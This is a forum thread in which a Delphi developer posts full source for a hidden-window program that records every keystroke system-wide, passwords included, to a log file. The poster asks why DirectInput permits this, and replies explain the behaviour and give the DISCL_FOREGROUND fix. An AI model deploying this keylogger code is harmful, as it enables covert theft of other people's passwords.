Results 1 to 7 of 7

Thread: DirectInput reads keyboard even without focus

  1. #1

    DirectInput reads keyboard even without focus

    Just make a Delphi form and place a TTimer and a DXInput component (DXInput component provided by DelphiX).

    Set the DXInput ActiveOnly property to false.

    When this application runs, it can read all keyboard input regardless if the application has the focus. It also read keybord input while typing in password edit controls of other applications!!!


    [pascal]
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    DXInput, ExtCtrls;

    const
    BUFSIZE = 64000;
    VK_0 = $30;
    VK_9 = $39;
    VK_A = $41;
    VK_Z = $5A;

    type
    TForm1 = class(TForm)
    Timer1: TTimer;
    DXInput1: TDXInput;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    oldState: TKeyboardState;
    Keys: array[0..BUFSIZE - 1] of char;
    index: integer;
    lastKey: integer;
    procedure AddChar(id: integer);
    procedure WriteData;
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.DFM}

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    index := 0;
    lastKey := 0;
    AddChar(13);
    AddChar(10);
    AddChar(13);
    AddChar(10);
    Visible := false;
    FillChar(oldState, SizeOf(oldState), Chr(0));

    DXInput1.ActiveOnly := false;

    Timer1.Interval := 30;
    Timer1.Enabled := true;
    end;

    function StatesEqual(const s1, s2: TKeyBoardState): boolean;
    // Check if two keyboard states are equal

    var i: integer;
    begin
    for i := 0 to 255 do
    if s1[i] <> s2[i] then
    begin
    result := false;
    exit;
    end;
    result := true;
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var i: integer;
    begin
    DXInput1.Keyboard.Update;
    for i := 0 to 255 do
    if DXInput1.Keyboard.Keys[i] then
    AddChar(i);
    end;

    // Add a retrieved character to buffer

    procedure TForm1.AddChar(id: integer);
    begin
    // Remove this line to avoid replications...

    // if id = lastKey then exit;

    Keys[index] := chr(byte(id));
    inc(index);
    lastKey := id;
    if index = BUFSIZE then
    WriteData;
    end;

    // Write data to log...

    procedure TForm1.WriteData;
    var f: file;
    begin
    AssignFile(f, 'c:\mylog.txt');
    {$I-}
    reset(f, 1);
    {$I+}
    if IOResult <> 0 then
    begin
    {$I-}
    rewrite(f, 1);
    {$I+}
    end;
    if IOResult <> 0 then exit;
    seek(f, FileSize(f));
    BlockWrite(f, Keys, index);
    index := 0;
    CloseFile(f);
    end;

    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    WriteData;
    end;

    end.
    [/pascal]

    If you compile and run the above code it logs all input in c:\mylog.txt file. Even when you type a password in another application or in a internet login page. Using GetKeyBoardState SDK function I don't beleive that this could happen, so why DirectInput has this capability?
    Last edited by Jimmy Valavanis; 30-03-2012 at 03:43 PM.

  2. #2

    DirectInput reads keyboard even without focus

    Without that ability, your game can sometimes have quirky focus issues, Input becomes a hassle that's why. Why else do you think that KeyLoggers are so threatening an application?

  3. #3

    DirectInput reads keyboard even without focus

    Yep, this has been around since win 3.1 days. If you look at GetAsyncKeyState you can use it to read a key at any time, even if your application is running under another logged in user session . Quite useful at times, and a known security loophole in ALL versions of windows.

    In case your curious, yes this behavior exists within Linux too. It basically comes down to, as long as your performing direct reads of the keyboard buffer there is nothing to stop you except the hardware itself.

  4. #4

    DirectInput reads keyboard even without focus

    You need to specify DISCL_FOREGROUND when setting cooperative level in DirectInput to prevent this from happening.

  5. #5

    DirectInput reads keyboard even without focus

    I think there is a way to know when the form has focus, it could be an event, or a windows message. I don't remember

  6. #6

    DirectInput reads keyboard even without focus

    Originally Posted by jdarling
    Yep, this has been around since win 3.1 days. If you look at GetAsyncKeyState you can use it to read a key at any time, even if your application is running under another logged in user session . Quite useful at times, and a known security loophole in ALL versions of windows.
    Suprizes me! I've never used GetAsyncKeyState but now I understand that reading the keyboard input of another application can be easily achieved.

    NOTE: MSDN QuickInfo reports that GetAsyncKeyState() requires at least Windows 95, or Windows NT 3.1. Was supported by Windows 3.1?
    Last edited by Jimmy Valavanis; 30-03-2012 at 03:45 PM.

  7. #7

    DirectInput reads keyboard even without focus

    It wasn't called GetAsyncKeyState back in the 3.1 days. In fact, back then it was easier to just hook the BIOS and called it complete .

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •